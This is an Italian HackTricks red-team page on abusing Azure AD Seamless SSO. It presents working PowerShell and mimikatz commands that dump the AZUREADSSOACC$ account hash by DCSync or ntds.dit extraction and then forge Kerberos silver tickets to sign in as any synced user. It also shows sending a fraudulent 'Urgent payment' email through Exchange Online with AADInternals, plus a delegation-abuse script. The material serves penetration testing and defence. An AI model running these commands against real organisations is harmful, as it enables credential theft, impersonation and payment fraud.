Az - Seamless SSO

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Informazioni di Base

Dalla documentazione: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) effettua automaticamente l'accesso degli utenti quando si trovano sui propri dispositivi aziendali connessi alla rete aziendale. Quando abilitato, gli utenti non devono digitare le loro password per accedere ad Azure AD, e di solito, nemmeno il loro nome utente. Questa funzionalità fornisce ai tuoi utenti un facile accesso alle tue applicazioni basate su cloud senza necessità di componenti aggiuntive in locale.

Fondamentalmente Azure AD Seamless SSO effettua l'accesso degli utenti quando si trovano su un PC connesso al dominio in locale.

È supportato sia da PHS (Sincronizzazione dell'Hash della Password) che da PTA (Autenticazione di Passaggio).

Il SSO desktop utilizza Kerberos per l'autenticazione. Quando configurato, Azure AD Connect crea un account computer chiamato AZUREADSSOACC$ in AD in locale. La password dell'account AZUREADSSOACC$ viene inviata in chiaro ad Azure AD durante la configurazione.

I biglietti Kerberos sono criptati utilizzando l'NTHash (MD4) della password e Azure AD utilizza la password inviata per decodificare i biglietti.

Azure AD espone un endpoint (https://autologon.microsoftazuread-sso.com) che accetta biglietti Kerberos. Il browser del computer connesso al dominio inoltra i biglietti a questo endpoint per il SSO.

Da locale a cloud

La password dell'utente AZUREADSSOACC$ non cambia mai. Pertanto, un amministratore di dominio potrebbe compromettere l'hash di questo account, e quindi usarlo per creare silver tickets per connettersi ad Azure con qualsiasi utente sincronizzato in locale:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Con l'hash ora puoi generare i biglietti silver:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Per utilizzare il silver ticket, è necessario eseguire i seguenti passaggi:

  1. Inizializzare il Browser: Mozilla Firefox dovrebbe essere avviato.

  2. Configurare il Browser:

  3. Accedere all'Applicazione Web:

    • Visitare un'applicazione web integrata nel dominio AAD dell'organizzazione. Un esempio comune è Office 365.

  4. Processo di Autenticazione:

    • Alla schermata di accesso, inserire il nome utente, lasciando vuoto il campo della password.

    • Per procedere, premere TAB o INVIO.

Questo non aggira l'MFA se abilitato.

Creazione di ticket Kerberos per utenti solo cloud

Se gli amministratori di Active Directory hanno accesso ad Azure AD Connect, possono impostare SID per qualsiasi utente solo cloud. In questo modo i ticket Kerberos possono essere creati anche per gli utenti solo cloud. L'unico requisito è che il SID sia un SID corretto.

La modifica del SID degli utenti amministratori solo cloud è ora bloccata da Microsoft. Per informazioni controllare https://aadinternals.com/post/on-prem_admin/

On-prem -> Cloud tramite Delega Limitata Basata su Risorse

Chiunque possa gestire gli account computer (AZUREADSSOACC$) nel contenitore o nell'OU in cui si trova questo account, può configurare una delega limitata basata su risorse sull'account e accedervi.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Last updated